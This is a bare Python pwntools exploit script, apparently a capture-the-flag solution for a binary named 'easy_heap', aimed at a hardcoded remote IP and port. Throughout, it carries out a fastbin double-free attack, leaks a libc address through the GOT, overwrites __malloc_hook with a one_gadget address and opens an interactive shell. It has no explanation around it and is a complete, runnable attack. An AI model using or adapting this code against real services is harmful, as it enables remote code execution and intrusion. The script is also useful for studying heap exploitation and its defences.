1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| #!/usr/bin/python2.7 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "amd64" elf = ELF("easy_heap") lib = 0 sh = 0 def pwn(ip,port,debug): global lib global sh if(debug == 1): sh = process("./easy_heap") lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") else: sh = remote(ip,port) lib = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(size,content): sh.sendlineafter("4.","1") sh.sendlineafter("?",str(size)) sh.sendafter("?",content) def free(idx): sh.sendlineafter("4.","2") sh.sendlineafter("?",str(idx)) def show(idx): sh.sendlineafter("4.","3") sh.sendlineafter("?",str(idx)) chunk_list = 0x602080 chunk_size = 0x602078 sh.sendafter("?",p64(0x50) * 2) add(0x48,'\x11' * 0x48) add(0x48,'\x12' * 0x48) free(0) free(1) free(0) add(0x48,p64(0x602060)) add(0x48,p64(0x602060)) add(0x48,p64(0x602060)) payload = 'a' * 8 + p64(0x6666) + p64(elf.got['__libc_start_main']) add(0x48,payload) show(0) __libc_start_main = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00')) libc = __libc_start_main - lib.symbols['__libc_start_main'] system = libc +lib.symbols['system'] binsh = libc +lib.search("/bin/sh\x00").next() __free_hook = libc +lib.symbols['__free_hook'] __malloc_hook = libc +lib.symbols['__malloc_hook'] one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] add(0x68,'\x13' * 0x68) add(0x68,'\x14' * 0x68) free(6) free(7) free(6) add(0x68,p64(__malloc_hook - 0x23)) add(0x68,p64(__malloc_hook - 0x23)) add(0x68,p64(__malloc_hook - 0x23)) payload = '\x00' * 3 payload += p64(0) * 2 payload += p64(libc+one_gadget[3]) add(0x68,payload) sh.sendlineafter("4.","1") sh.sendlineafter("?","666") sh.interactive() if __name__ == "__main__": pwn("139.129.76.65",50001,0)
|